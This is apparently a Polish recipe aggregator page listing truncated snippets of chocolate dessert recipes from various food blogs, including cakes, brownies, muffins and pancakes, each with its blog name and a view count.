ozdabianie nie miałam już inwencji...ale i tak tort był mega pyszny ! Krem - cudo, delikatny i orzeźwiający- tak sobie go wyobrażałam. Składniki na polewę czekoladową: 9 dag gorzkiej czekolady- o takiej wadze miałam gorzką czekoladę 3 dag masła Przygotowanie polewy : Masło rozpuścić w rondelku, dodać pokruszoną czekoladę, zdjąć z ognia, wymieszać do połączenia składników, przestudzić Lekko przestudzoną polewą

Proste Potrawy
Babka ananasowa 155

Foremkę z kominem o średnicy 23 cm natłuścić i wyłożyć ciasto, piec w temp. 185 stopni C przez około 50 - 60 min Składniki na polewę czekoladową: 9 dag gorzkiej czekolady- o takiej wadze miałam gorzką czekoladę 3 dag masła Przygotowanie polewy : Masło rozpuścić w rondelku, dodać pokruszoną czekoladę, zdjąć z ognia, wymieszać do połączenia składników, przestudzić Lekko przestudzoną polewą polać

Proste Potrawy
Ciasto czekoladowe z cukinią i jagodami 164

bardzo lubię, a ciasto było naprawdę pyszne :) Składniki : 500 ml utartej cukinii - u mnie było to 30 dag 400 ml mąki tortowej, wagowo było to 25 dag 10 dag czekolady gorzkiej 4 łyżki kakao 2 jajka 125 ml oleju rzepakowego 200 ml cukru- można mniej po łyżeczce sodki i kardamonu, zamiast kardamonu można dać cynamon 200 ml jagód, u mnie(...)Jajka utrzeć dokładnie z cukrem, szczyptą soli, wlać olej - utrzeć razem Mąkę, kakao, kardamon i sodkę wymieszać razem w osobnej miseczce Obraną cukinie zetrzeć na tarce o średnich oczkach, czekoladę pokroić dość drobno Do masy jajecznej dodawać na przemian olej i cukinię oraz stopniowo mąkę z dodatkami - dokładnie ucierać Na koniec dodać pokruszoną czekoladę i wymieszać łyżką potem wsypać jagody

Proste Potrawy
Czekoladki na szybko 260

uśmiechnie się każde dziecko, a i pewnie dorosły nie pogardzi taką słodkością ;) Pomysł pochodzi ze strony  zszywka.pl . Do ozdobienia czekoladek można użyć dowolnych dekoracji. Smacznego!:) Składniki: 2 mleczne czekolady posypka cukrowa silikonowa foremka do lodu Czekoladę rozpuszczamy kąpieli wodnej. Do foremek wsypujemy posypkę, tak aby przykryła dno, resztę foremki dopełniamy czekoladą. Odstawiamy do wystygnięcia. Potem wkładamy na trochę

Czerwona Porzeczka
Dla dzieci - Ślimaki 166

tego "zdrowego" z tym mniej zdrowym. Dzisiaj chciałabym zaprezentować jeden z nich, a mianowicie Ślimaki z bananów. Czas przygotowania: 5 minut Ilość porcji: 1 Składniki: banan 3 kostki ciemnje czekolady nieco kakao (najlepiej odtłuszczonego) 4 goździki bita śmietana ( idealnie gdybyśmy sami ją ubili, ale nie zawsze mamy na to czas, wówczas można sięgnąć po gotowy produkt) Banana obieramy i przekrajamy(...)dwie części. Na jeden talerzyk ścieramy czekoladę, a na drugi wysypujemy kakao. Obtaczamy banany. Wkładamy goździki jako oczy. Robimy muszle przy pomocy bitej śmietany. Tego ślimaka, który był obtoczony w czekoladzie dodatkowo posypujemy z wierzchu. ( jakimś cudem udało mi się zrobić zdjęcia, zanim synek się do nich dorwał

Kolizje Smaków
Pączki 137

Domowe smażone pączki z marmoladą i polewą z białej czekolady. Składniki na około 20 sztuk: 500 g mąki pszennej 5 żółtek 50 g drożdży świeżych 200 g mleka 70 g masła 80 g cukru szczypta soli 2 łyżki spirytusu marmolada polewa: 100 g białej czekolady              25 g masła dodatkowo: olej do smażenia Połowę(...)stopni C i smażyć pączki z obu stron na złoty kolor. Wyłożyć je na papierowy ręcznik i odsączyć z tłuszczu. Za pomocą szprycy nadziać ulubioną marmoladą. Przygotować polewę: białą czekoladę i masło rozpuścić w kąpieli wodnej, dokładnie mieszając. Lekko przestudzić i udekorować nią usmażone pączki

wyzwania kuchenne
Omlet owsiany z jabłkiem 292

otrąb owsianych * łyżka płatków owsianych * 2 łyżki mleka * łyżeczka fruktozy + trochę na wierzch * jedno jabłko, moje było twarde i bardzo słodkie, lepsze by były lekko   kwaskowate * kostka czekolady gorzkiej * łyżeczka masła na patelnię Najpierw obrałam jabłko, pokroiłam i wrzuciłam z odrobiną wody do rondelka, żeby się uprażyło. W międzyczasie zrobiłam masę jajeczną, czyli jajka, płatki, otręby, fruktozę(...)rozpuściłam masło i smażyłam na raczej małym ogniu najpierw z jednej strony, a potem chwilkę z drugiej. Ściągnęłam omlet z patelni, na połowie rozłożyłam jabłka i posypałam startą kostką czekolady, a wierzch fruktozą. Zrobiłam szybką sesję foto i rozpłynęłam się w zachwycie;) Kolejne fazy - omlet w fazie patelnianej: Tutaj już nafaszerowany i przygotowany do konsumowania: A tu w połowie śniadania

Zdrowa Kuchnia Sowy
Deser czekoladowo-owocowy 130

użyć dowolne, ja wybrałam te, które mam i które najbardziej lubimy... Składniki: 2 jajka, 4 łyżki masła, 10 łyżek cukru pudru, 3 łyżki mąki pszennej, łyżka kakao, 50g gorzkiej czekolady, łyżeczka proszku do pieczenia, szczypta cynamonu, 250g wymieszanych poziomek, malin i truskawek, 250g półtłustego twarogu, 1/2 szkl. śmietanki 30%, 1/4 szkl. zimnej słodkiej herbaty.     Przygotowanie(...)Masło stopić wraz z czekoladą i ostudzić. Jajka ubić, dodać 5 łyżek cukru pudru. Dodać przesianą mąkę z proszkiem oraz kakao. Na koniec dodać zimne masło, dokładnie wymieszać. Masę przelać do przygotowanej formy o wym. 23x33cm. Piec ok. 12min w temp. 180st. Ostudzić. 1/2 szkl. wody zagotować z 3 łyżkami cukru pudru oraz szczyptą cynamonu. Dodać 2/3 owoców

Z miłości do słodkości
Serowa tarta z malinami 134

ilością świeżych owoców, dlatego często je robię;) Ale żeby nie było nudno, to zawsze staram się je zrobić nieco inaczej.    Ciasto: 200 g maślanych herbatników, 100g gorzkiej czekolady, 2 łyżki masła lub margaryny.     Czekoladę połamać na kawałki i wraz z margaryną stopić. Herbatniki pokruszyć za pomocą blendera na pył. Dokładnie wymieszać ze stopioną czekoladą. Wyłożyć

Z miłości do słodkości
Brownie fasolowo-porzeczkowe 142

pyszne ciasto na bazie mąki żytniej i czerwonej fasoli. Do tego płatki owsiane i czarne porzeczki... Nikt z gości nawet nie pomyślał, że ciasto jest bez czekolady (pomijając tę na wierzchu) oraz, że ma w składzie fasolę;) Jak najbardziej polecam!   Inspiracja Składniki: s zklanka mąki żytniej, 2 czubate łyżki kakao, łyżeczka proszku do pieczenia, 1/2 szklanki brązowego cukru(...)łyżeczka soli, puszka czerwonej fasoli, 1/3 szklanki oleju rzepakowego, szklanka czarnej porzeczki, szklanka wody, 1/2 szklanki płatków owsianych, 50g gorzkiej i 50g mlecznej czekolady, cukier puder do oprószenia. Przygotowanie Mąkę przesiać wraz z proszkiem do pieczenia i kakao. Dodać płatki owsiane, cukier brązowy oraz sól. Fasolę odsączyć, przelać wodą, by usunąć nadmiar soli. Dodać wodę  oraz olej rzepakowy

Z miłości do słodkości
Brownie z buraków 159

szklanki oleju rzepakowego, 400g buraków, banan, 2 łyżki siemienia lnianego Kresto, 1/2 łyżeczki soli, 1/3 łyżeczki sody oczyszczonej, czubata łyżka mąki ziemniaczanej, 2 łyżeczki cukru waniliowego, 100g mlecznej czekolady, 50g gorzkiej czekolady. Przygotowanie  Mąkę przesiać wraz z kakao, wymieszać z cukrem, cukrem waniliowym, solą, soda i siemieniem lnianym. Buraki obrać, zetrzeć na tarce o drobnych oczkach, dodać pokrojonego(...)Zmiksować na gładkie puree. Dodać olej rzepakowy oraz mleko. Dokładnie wymieszać, dodać suche składniki, wymieszać, aż wszystkie składniki dobrze się połączą. Na koniec wlać stopioną na parze, jeszcze ciepłą czekoladę. Wymieszać i przelać na natłuszczoną i wysypaną bułką tartą formę o wym. 24x27cm. Piec ok. 30min w temp. 180st - ciasto musi być nieco wilgotne. Przed podaniem oprószyć cukrem pudrem. Gorąco

Z miłości do słodkości
ŻEGNAJ #SELFIE! CZAS NA #FRIENDSIE! 181

nadal nie wiem, o co chodziło w tej grze... GRUSZKI W WINIE /od Delimamma ;/ 3 gruszki 2,5 szklanki półsłodkiego wina czerwonego 1 laska cynamonu 1 tabliczka gorzkiej czekolady Gruszki obieramy ze skórki, zostawiając ogonki. Nie wydrążamy środka. Ścinamy dół tak, aby gruszki mogły stać. Do małego garnka wlewamy wino, wrzucamy cynamon, wkładamy gruszki i gotujemy 30 minut od momenty(...)wino zacznie wrzeć.  Czekoladę rozpuszczamy (my poszłyśmy na łatwiznę, rozpuściłyśmy ją nie do końca, więc powstała nam gęsta, niejednolita masa) w kąpieli wodnej. Polewamy czekoladą gruszki lub tak jak my, układamy je na kleksach z masy czekoladowej. Posypujemy płatkami migdałów. SMACZNEGO! Serioo? Bawcie się w #friendsie przy każdej okazji! Pozdrawiamy! Karmel-itka z ekipą

W kuchni Karmel-itki
Tort czekoladowy 180

okazji Dnia Czekolady - torcik mocno czekoladowy :) -  pyszne ciasto czekoladowe !!! SKŁADNIKI  Biszkopt: 6 jajek szczypta soli 1/2 szklanki mąki pszennej 1/4 szklanki mąki ziemniaczanej 3/4 szklanki cukru 4 łyżki ciemnego kakao 1 łyżeczka proszku do pieczenia  do naponczowania - 1/2 szklanki soku z cytryny Masa: 4 żółtka 1 kostka masła 3/4 szklanki cukru pudru  4 łyżki kakao(...)łyżki soku z cytryny  ("pożyczone" z połowy szklanki)  Do dekoracji - czekoladowe dekoracje, lub starta czekolada :) PRZYGOTOWANIE    Biszkopt : Białka oddzielamy od żółtek i ubijamy na sztywną pianę dodając szczyptę soli. Pod koniec ubijania stopniowo dodajemy cukier. Następnie kolejno żółtka i obie przesiane i wymieszane mąki oraz proszek do pieczenia i kakao. Dno tortownicy wykładamy papierem do pieczenia

Moje Kuchenne Rewelacje
Kruche ciasto milionera 1190

Najsłodsze ciasto na świecie :) Przepis znalazłam na stronie MOJE WYPIEKI, ale można go również znaleźć w książce "120 przepisów". Polecam wszystkim miłośnikom czekolady i kajmaku :) Składniki:  200 g mąki pszennej 75 g cukru pudru trzcinowego  200 g masła 200 g czekolady mlecznej 250 g masy kajmakowej lub mleko skondensowane w puszce* 1. Mąkę pszenną mieszamy z cukrem pudrem(...)odstawiamy do całkowitego ostygnięcia. 2. Na wystudzonym spodzie rozprowadzamy masę kajmakową. * Jeżeli używacie mleka skondensowanego, trzeba go gotować w puszce przez 2 godziny i zostawić do całkowitego ostygnięcia. 3. Czekoladę rozpuszczamy w kąpieli wodnej, dodajemy resztę masła, mieszamy do całkowitego połączenia. Wylewamy na tartę, wyrównujemy i wkładamy do lodówki na kilka godzin. Smacznego

My Culinary Art
Rolada z nutellą 171

pieczenia + czas na chłodzenie Ilośc porcji: 12 Składniki na ciasto: 4 jajka 100g drobnego cukru 100g mąki pszennej 3/4 łyżeczki proszku do pieczenia 4 łyżki kakao 50g startej gorzkiej czekolady 16g cukru waniliowego Składniki na krem: 250g serka mascarpone 5 łyżek nutelli Składniki na polowę: 100g gorzkiej lub mlecznej czekolady 30 g masła My posypałyśmy z wierzchu jeszcze wiórkami kokosowymi(...)serek z nutellą.  Lekko ostudzoną roladę delikatnie rozwijamy, zdejmujemy z ręczniczka, smarujemy kremem i znów zawijamy. Wkładamy na kilka godzin do lodówki. Przed podaniem nakładamy polewę: masło z czekoladą rozpuszczamy w kąpieli wodnej, cały czas miesając. Następnie łopatką nakładamy do roladę. My posypałyśmy jeszcze z wierzchu wiórkami kokosowymi, które są miłym kontrastem dla intensywnego smaku kremu z nutelli. Smacznego

Kolizje Smaków
Naleśniki z truskawkami 197

Składniki:  Wykonujemy ciasto na naleśniki wedlug tego  przepisu. Farsz: 250g truskawek 1 opakowanie cukru waniliowego 1,5 łyżki brązowego cukru 1 opakowanie galaretki truskawkowej 1 gorzka czekolada  Przygotowanie tego dania zaczynamy od zrobienia ciasta i usmażenia naleśników. W miedzyczasie myjemy i kroimy truskawki na kawałki. Nakładamy je na patelnię, podlewamy 5 łyżkami wody, dodajemy cukier, cukier waniliowy(...)dusimy pod przykrywką ok 10 min.   Następnie, gdy truskawki będą już miękkie, wsypujemy zawartość torebki z galaretką, mieszamy i odstawiamy z ognia do ostygnięcia. Czekoladę rozpuszczamy w kąpieli wodnej (jest to miska ustawiona nad gotującą się wodą w garnku). Kiedy juz wszystko jest gotowe: rozkładamy naleśniki, a na nie wykładamy masę truskawkową. Naleśnik składamy w trójkąt lub zwijamy

Kolizje Smaków
Naleśniki z nadzieniem serowo-jagodowym 189

naleśniki przygotowane według tego przepisu 100g  chudego twarogu Małe opakowanie jogurtu naturalnego 2 łyżeczki brązowego cukru ( ilość można według upodobań zwiększać lub zmniejszać) 200g jagód 50g gorzkiej czekolady Naleśniki smażymy i odkładamy do ostygnięcia. Twaróg intensywnie mieszamy z jogurtem i cukrem. Na chłodne naleśniki nakładamy masę serową, a na to rozsypujemy jagody i zawijamy naleśnik w rulonik. Z wierzchu(...)polewamy czekoladą roztopioną w kąpieli wodnej i posypujemy kilkoma jagodami. Czekoladę można ominąć lub zastąpić np. bitą śmietaną :) Smacznego

Kolizje Smaków
Bounty - sernik na zimno 2002

Całkiem niedawno prezentowałyśmy batoniki Bounty domowej roboty. Dzisiaj chciałybyśmy zaproponować delikatny sernik na zimno z wiórkami kokosowymi i czekoladą. Oryginalny przepis został zaczerpnięty z Kwestii Smaku , która jest naszym niedoścignionym ideałem jeśli chodzi o blogi kulinarne. Wprowadziłyśmy do przepisu kilka drobnych zmian i nie ważne, czy skorzystać z naszego przepisu, czy z oryginalnego. Ciasto wychodzi pyszne, delikatne i lekkie(...)puszka) 200g wiórków kokosowych (zazwyczaj jedno opakowanie) 250g maskaronem (zazwyczaj jedno opakowanie) 250g twarogu półtłustego 50g masła 120g cukru pudru 20g cukru wanilinowego 2 łyżki żelatyny Polewa: 150g gorzkiej czekolady ( półtorej tabliczki) Do garnuszka wlewamy mleko kokosowe i lekko podgrzewamy. Kiedy zacznie się gotować dorzucamy wiórki kokosowe, zmniejszamy ogień i intensywnie mieszamy. Gotujemy tak około 5 minut ciągle mieszając

Kolizje Smaków
Batoniki musli 187

szklanki migdałów (posiekanych) 0,5 szklanki rodzynek 0,5 suszonych moreli, śliwek i daktyli Składniki "mokre": 4 łyżki miodu 2 łyżki oliwy 1/4 szklanki wody 2 białka 30g gorzkiej czekolady (70%) Suche składniki mieszamy w jednej misce.  W szklance mieszamy miód, oliwę i wodę. Białka ubijamy na sztywną pianę. Do suchych składników dodajemy mokrą mieszankę, dokładnie mieszamy, na koniec(...)20x30) wykładamy papierem do wypieków, wykładamy masę, równomiernie rozkładamy i wyrównujemy, dociskając łyżką.  Pieczemy przez ok. 25 minut w nagrzanym do 180 stopni piekarniku. W tym czasie rozpuszczamy czekoladę w kąpieli wodnej. Po wyjęciu i lekkim przestudzeniu polewamy upieczoną masę rozpuszczoną czekoladą, odstawiamy na ok.1h w chłodne miejsce po czym kroimy na mniejsze kawałki (nie polecam krojenia "na gorąco

kuchnia do kwadratu
Tarta truflowo-malinowa z bakaliami 241

pieczemy przez ok. 25-30 minut (w zależności od piekarnika), na złoty kolor.  Wyjmujemy do  całkowitego  wystudzenia. Składniki na masę truflowo-malinową: 340g serka mascarpone 250g czekolady (100 mlecznej, 150 ciemnej) 2 łyżki wódki 300g świeżych malin Dodatkowo: 100g bakalii  Czekoladę rozpuszczamy w kąpieli wodnej, studzimy. W tym czasie miksujemy na niskich obrotach serek mascarpone przez(...)minuty, dodając w trakcie 2 łyżki wódki. Do serka powoli wlewamy wystudzoną czekoladę i miksujemy do uzyskania jednolitej masy. Po zmiksowaniu masy dodajemy świeże maliny i wszystko delikatnie mieszamy łyżką (nie przejmujcie sie, jeśli maliny się rozpadną :). Całość wykładamy na wcześniej wystudzony spód, a wierzch posypujemy bakaliami (ja użyłam mieszanki  studenckiej wymieszanej z płatkami migdałów). Tartę należy schłodzić

kuchnia do kwadratu
Ciasto Mrówka 545

szklanki mleka 3 łyżki mąki pszennej 3 łyżki mąki ziemniaczanej 5 łyżek cukru cukier waniliowy 320g miękkiego masła  Dodatkowo: pół słoika dżemu z czarnej porzeczki pół tabliczki czekolady   Wykonanie:  Najpierw warto podzielić jajka, które będą nam potrzebne do poszczególnych części ciasta. Następnie przygotowujemy budyń do masy- do rondelka wlewamy 2 szklanki mleka, dodajemy cukier i cukier waniliowy(...)puch. Następnie stopniowo dodajemy wystudzony budyń, cały czas miksując.  Masę dzielimy na 3 części- dwie większe, które będą pomiędzy blatami ciasta i jedną mniejszą do posmarowania wierzchu ciasta. Czekoladę ścieramy na tarce o drobnych oczkach. Przełożenie ciasta: Układamy kolejno: Biszkopt Dżem 1/3 masy budyniowej Piana makowa 1/3 masy budyniowej Piana kokosowa Masa budyniowa Czekolada

Czerwona Porzeczka
Piknik Smakoszy vol 2 - moja relacja 185

Agnieszka , Dorota , Magda no i oczywiście ja :) Każda z dziewczyn przygotowała swoje specjały. Było słodko, było i wytrawnie. A na moim stoliku znalazły się: *  muffinki marchewkowe z biała czekoladą   * muffinki brownie z kremem czekoladowym i malinai * piernik z cukinii ( lub kabaczka ) * kruche ciasto ze śliwkami i czekoladą   * ciasteczka owsiane * koktajl mango-brzoskwinia * kompot korzenno-śliwkowy * drożdżówki(...)czekoladą i cynamonem W najbliższych dniach na blogu będą pojawiać się przepisy na owe smakołyki. Pozostałe dziewczyny częstowały m.in. tartaletkami wytrawnymi, burgerami, różnego rodzaju muffinami, ciastami, ciastkami, lemoniadą, domowym chlebem i pastami do chleba ( była pasta z bobu, był różowy hummus ) i wieloma innymi pysznościami. Kto nie był, niech żałuje i przybędzie podczas kolejnej edycji Pikniku Smakoszy. Udział w takim

kolorowotorcikowo
biszkopty w kształcie grzybków 100

Przepis oparty na uniwersalnym przepisie na duży biszkopt, bez proszku do pieczenia itp. Biszkopty po wyrośnięciu mają kształt grzybka. Soki z cytrusów i czekoladę można pominąć lub posypać inną dekoracją (np. polać czekoladą kapelusze gdy już ciastka ostygną) Składniki: 4 jajka 80 g mąki pół szklanki cukru (lub mniej) szczypta soli łyżka soku z cytryny łyżka soku z pomarańczy starta(...)gorzka czekolada Zobacz  cały przepis

w kuchni i w ogrodzie
Babeczki – Muffiny z kremem mascarpone 472

suchych”, nie odwrotnie. Składniki „suche”: 2 szklanki mąki pszennej ½ szklanki cukru 1 łyżka proszku do pieczenia 3 łyżeczki cukru wanilinowego szczypta soli opcjonalnie: pół tabliczki czekolady gorzkiej lub mlecznej Składniki „mokre”: 1 szklanka mleka 1 duże jajko // 2 małe jajka ½ szklanki oleju roślinnego Składniki na krem: opakowanie serka mascarpone opakowanie śmietanki 36% 3 łyżeczki cukru(...)drugiej „mokre”. Do pierwszej miski wsypujemy więc mąkę, cukier, proszek do pieczenia, cukier wanilinowy, sól i wszystko dokładnie ze sobą mieszamy. Warto dodać również posiekaną wcześniej czekoladę! Do drugiej miski wlewamy olej, mleko, wbijamy jajka i mieszamy. Następnie przelewamy powstałą mieszankę do miski ze składnikami „suchymi” i mieszamy do połączenia składników. Nie należy całości przemieszać. Jeżeli

PastelFood
Dietetyczne mini serniczki z czekoladową polewą, malinami i borówkami 296

Składniki: 200 gram twarogu półtłustego lub chudego pół łyżeczki proszku do pieczenia dwa białka 3 łyżeczki brązowego cukru 40 gram gorzkiej czekolady (o zawartości kakao nie mniejszej niż 75%) 1 laska wanilii  szczypta soli oliwa do posmarowania foremek maliny i borówki  2 łyżki wody  Białka ubijamy na sztywno z dodatkiem szczypty soli. Twaróg miksujemy dokładnie z proszkiem(...)jednej malinie. Wstawiamy je do piekarnika nagrzanego do 175 stopni na 25 minut, następnie pozostawiamy w wyłączonym piekarniku przez kolejne 5 minut, by nie opadły. W kąpieli wodnej rozpuszczamy czekoladę z dodatkiem wody i łyżeczki brązowego cukru. Czekoladą polewamy wystudzone muffiny, dekorujemy malinkami i borówkami. Gotowe

Mango Papaja
Magiczne Przydasie ! 153

podpowiem Wam, że metalowe też da się wkręci w coupler :) Cena rękawa to 15 zł. Strzykawka/mazak do dekoracji . Tłoczek plastikowy, reszta wykonana z silikonu. Jak to u mnie było? Czekoladę najpierw rozpuszczałam na parze, następnie przekładałam do rękawa i dopiero mogłam zaczyna się bawic czekoladą. A jak to wygląda z tym mazakiem? Banalnie! Czekoladę siekasz, wsypujesz do mazaka do pełna

Blondynka Gotuje
Kruche babeczki z owocami 191

zamrożone, całe mnóstwo jagód, malin i truskawek. Nie mogłam się oprzeć aby w taki upał nie wykorzystać ich do ozdobienia kruchych babeczek. Delikatne kruche babeczki z owocami , kremem i czekoladą to super ciasteczka na jeden kęs, babeczki są urocze. Owoce ułożone są na kremie przygotowanym z bitej śmietany i soku z cytryny. Zastosowałam mrożone owoce. Te babeczki to takie małe(...)mąki 1/3 szkl. cukru 1 łyżeczka domowego cukru waniliowego 1 łyżeczka proszku do pieczenia 1 jajko krem: 200 ml śmietany 36% 1 łyżeczka cukru pudru 2 łyżki cytryny gorzka czekolada maliny do dekoracji jagody do dekoracji Przygotowanie: W misie robota mieszamy sypkie produkty: mąkę, cukier, cukier waniliowy i proszek do pieczenia. Dodajemy margarynę pokrojoną w małe kostki, jajko i zagniatamy

Damsko-męskie spojrzenie na kuchnię
Trochę zdrowsze brownie 186

powodzeniem można zastąpić ją zmielonymi orzechami, które mimo że są dosyć kaloryczne to zawierają wartościowe tłuszcze i witaminy. Deser bez wyrzutów sumienia? Tak! Składniki: 1,5 tabliczki gorzkiej czekolady pół kostki masła pół szklanki cukru pudru 2 jajka 1/4 łyżeczki pasty waniliowej 150 g orzechów laskowych      Masło i czekoladę połamaną na mniejsze kawałeczki rozpuszczamy w kąpieli

sama złodycz
TORCIK TRUSKAWKOWO LIMONKOWY 157

łyżek cukru 1 łyżeczka proszku do pieczenia Masa truskawkowa 30 dag truskawek 50 dag serka waniliowego 3 łyżki cukru pudru 2 łyżki żelatyny Masa limonkowa 150 g białej czekolady 500 g jogurtu naturalnego 2 łyżki cukru pudru 2 limonki 2 łyżki żelatyny 2 galaretki truskawkowe Sposób przygotowania: BISZKOPT Oddzielić żółtka od białek. Białka ubić na sztywną pianę. Żółtka ubić(...)blatem  biszkoptu , odstawić do lodówki MASA LIMONKOWA Żelatynę rozpuścić w ¾ szklanki gorącej wody, odstawić do przestygnięcia. Białą czekoladę  roztopić w kąpieli wodnej. Jogurt zmiksować z cukrem i  wyciśniętym  sokiem z limonek, cały czas miksując dodawać powoli roztopioną czekoladę na końcu dodać chłodną żelatynę

RAROSSA
Mrożony krem czekoladowo-kokosowy 194

bakaliowo. Trochę zimno. Składniki: 400 ml mleka kokosowego (puszka) 1/4 szklanki kakao w proszku syrop z agawy/cukier lub inna substancja słodząca kilka kropel aromatu śmietankowego 4-6 kostek gorzkiej czekolady garść bakalii (np. rodzynek) polewa czekoladowa (opcjonalnie) Przygotowanie:      Potrzebne nam jest mleko kokosowe w gęstej postaci. Jeśli mamy je w puszce, radzę dzień przed użyciem schować puszkę(...)użyłam trzech łyżek syropu z agawy). Całość dokładnie mieszamy. Możemy posłużyć się mikserem, ale łyżka lub widelec też dadzą radę! ;) Po wymieszaniu dodajemy bakalie i pokrojone, małe kawałki gorzkiej czekolady. Mieszamy ponownie. Krem przekładamy do odpowiednich naczyń i chowamy do lodówki lub zamrażalnika. Gdzie i na jak długo - to zależy od nas i od tego, czy chcemy by było baaaardzo

Weganizm infantylny
Stefanki 614

innej substancji słodzącej, jak lubimy bardziej słodkie, to dajemy trochę więcej) 1 łyżka cukru z prawdziwą wanilią 5-6 łyżek kaszy manny 5 łyżek oleju opcjonalnie: 10 kostek gorzkiej czekolady 12 łyżeczek mleka sojowego dekoracyjne ażurki z czekolady deserowej suszona żurawina Przygotowanie:      Mleko wlewamy do garnka, dodajemy syrop z agawy, cukier z wanilią i olej. Mieszamy(...)Stefanki wkładamy do lodówki. Najlepiej jest je wyjąć, aby zjeść, dopiero następnego dnia. Wtedy ciastka są odpowiednio miękkie, a krem się nie rozpływa.      Do kostek czekolady w rondelku dodajemy mleko sojowe, rozpuszczamy je w kąpieli wodnej. Mieszamy, mieszamy, aż polewa będzie płynna. Polewamy nią wyjęte z lodówki stefanki, posypujemy żurawiną, dekorujemy ażurkami. Smacznego

Weganizm infantylny
Torcik Raffaello 166

proszku do pieczenia 1 łyżeczka sody oczyszczonej  Masa          500 ml śmietany 30% 1 łyżeczka cukru wanilinowego  200 g białej czekolady 1 łyżeczka żelatyny + 50 ml gorącej wody 2 fixy do śmietany 150 g wiórków kokosowych 100 g płatków migdałowych 2 łyżeczki cukru pudru Poncz 150 ml przegotowanej wody(...)Następnie wsypujemy mąki i dalej mieszamy łyżką. 5.Ciasto przekładamy do posmarowanej masłem tortownicy o średnicy 21 cm. Pieczemy w 170 stopniach ok. 40 minut (do suchego patyczka). 6.Białą czekoladę rozpuszczamy w kąpieli wodnej, odstawiamy do przestudzenia. 7.Żelatynę mieszamy w wodzie. 8.Płatki migdałowe prażymy na suchej patelni. 9.Dobrze schłodzoną śmietanę miksujemy z fixami. Gdy osiągnie już odpowiednią konsystencję

ciemna strona patelni
Deser z owocami i czekoladową bitą śmietaną 325

aromatyczne owoce, więc zrobiłam pyszny deserek z owoców z dodatkiem czekoladowej bitej śmietany który w upalne dni najlepiej smakuje po schłodzeniu. Składniki: 200 ml kremówki 30% 100 g białej czekolady 100 g herbatników owsianych musli kokosowe z crunchy czekoladowymi borówki amerykańskie maliny Przygotowanie:   Kremówkę wlać do garnka, dodać połamaną czekoladę i podgrzewać na średnim ogniu od czasu do czasu(...)mieszając do rozpuszczenia się czekolady. Nie zagotować. Ostudzić i zimne włożyć na całą noc do lodówki. Herbatniki pokruszyć. Owoce umyć i osuszyć.Zimną kremówkę ubić mikserem na sztywno. Na dno szklanki wsypać dwie łyżki herbatników, nałożyć warstwę bitej śmietany, ułożyć borówki, kolejną warstwę bitej śmietany, maliny i na wierzchu posypać musli. Schłodzić przed podaniem

Ala piecze i gotuje
Za pięć minut dwunasta 170

pięć minut dwunasta... Szczęśliwego Nowego Roku!!! 3/4 szklankia mąki 1 szklanka wiórek kokosowych (plus do posypania) 3/4 szklanki cukru 100g miękkiego masła 3-4 łyżki nutelli (lub rozpuszczona czekolada) budyń śmietankowy 2 łyżki śmietany czekolada do przystrojenia Po pierwsze ustawiłam piekarnik na grzanie (150st.). Następnie formę do pieczenia wyłożyłam folią. Teraz spód... Suche składniki ciasta połączyłam w misce. Dodałam rozpuszczone(...)masę.  Na wystudzonym spodzie rozsmarowałam nutellę.  Następnie przelałam budyń. Wyrównałam wierzch. Całość oprószyłam wiórkami kokosowymi i wstawiłam na 1h do lodówki.  Na koniec sylwestrowa dekoracja z czekolady... i można wcinać, popijając lampką szampana

bastalena
Mini Torciki Brownie z Kremem Żurawinowym 122

lekki śmietankowy miks z mascarpone i konfiturą z żurawiny. Wyszło pysznie. Możecie śmiało przystąpić do działania. Składniki na spód Brownie: 150 g masła 100 g mąki 100 g gorzkiej czekolady 70% 350 g cukinii 300 g brązowego cukru 6 łyżek kakao 4 jajka 1 czubata łyżeczka proszku do pieczenia 0,5 łyżeczki ekstraktu z wanilii Masło roztapiamy i odstawiamy(...)ostygnięcia. Czekoladę kroimy na grube kawałki. Cukinię myjemy i ścieramy na tarce o grubych oczkach. Jajka ubijamy z cukrem. Wlewamy ostygnięte masło i ubijamy krótką chwilę. Dodajemy mąkę, kakao, proszek do pieczenia, ekstrakt z wanilii i ubijamy do połączenia się składników. Dodajemy czekoladę i cukinię. Mieszamy delikatnie łyżką. Ciasto dzielimy na dwie części. Tortownicę o średnicy 26 cm wykładamy papierem

Made By Mom And Son
Ciasto Orzechowe z Karmelem i Bezami 480

puszysty krem. Ciągle ucierając dodajemy delikatnie śmietanę i sok z cytryny. Dodatkowo: 1 puszka karmelu (lub mleka skondensowanego słodzonego, gotowanego około 1,5h) 200 g bez 200 g gorzkiej czekolady Wykonanie: Pierwszy blat smarujemy połową kremu. Na krem układamy bezy. Bezy przykrywamy karmelem. Na karmel kładziemy pozostały krem i przykrywamy drugim blatem. Czekoladę rozpuszczamy na małej mocy palinka, dodając odrobinę(...)mleka, żeby nie była za gęsta. Czekoladą polewamy ciasto. Wkładamy do schłodzenia do lodówki i tam też przechowujemy. The post Ciasto Orzechowe z Karmelem i Bezami appeared first on Made

Made By Mom And Son
Mocno czekoladowe muffiny z masłem orzechowym! 128

Muffiny mniej więcej trzymają się przepisu Nigelli: Składniki suche : 1,5 szklanki mąki 2 łyżki kakao 2 łyżeczki proszku 0,5 łyżeczki sody 3/4 szklanki cukru pudru 1 tabliczka czekolady mlecznej Milka (lub groszki/łezki czekoladowe do pieczenia) Składniki mokre: 1 szklanka mleka 1 jajko 1/3 szklanki oleju 1 łyżeczka esencji waniliowej Nadzienie : 12 łyżeczek masła orzechowego Przepis : Składniki suche(...)oprócz czekolady) przesiewamy w osobnej miseczce, czekoladę kroimy na drobne kawałeczki i wszystko mieszamy. Składniki mokre łączymy w drugiej miseczce, a następnie dodajemy do składników suchych i dokładnie mieszamy całość łyżką. Do formy silikonowej bądź do papilotek nakładamy jedną łyżkę ciasta, jedną łyżeczkę masła orzechowego i przykrywamy kolejną łyżką ciasta. Wierzch możemy posypać kolorową posypką. Muffiny pieczemy przez 20 minut

Emcia Pichci
Blondies 171

Wszędzie tylko brownie i brownie! A mi się zachciało blondie! :) Składniki: 200g białej czekolady 200g masła 200g mąki 1/2 szklanki cukru 100g wiórków kokosowych 3 jajka (L) Przepis: Czekoladę rozdrabniamy na kosteczki. Do garnuszka wkładamy masło, roztapiamy, następnie dodajemy czekoladę i cukier - często mieszamy aż do uzyskania gładkiej masy. Odstawiamy na 10 minut do ostygnięcia. Dodajemy do masy po jednym

Emcia Pichci
Brownie 117

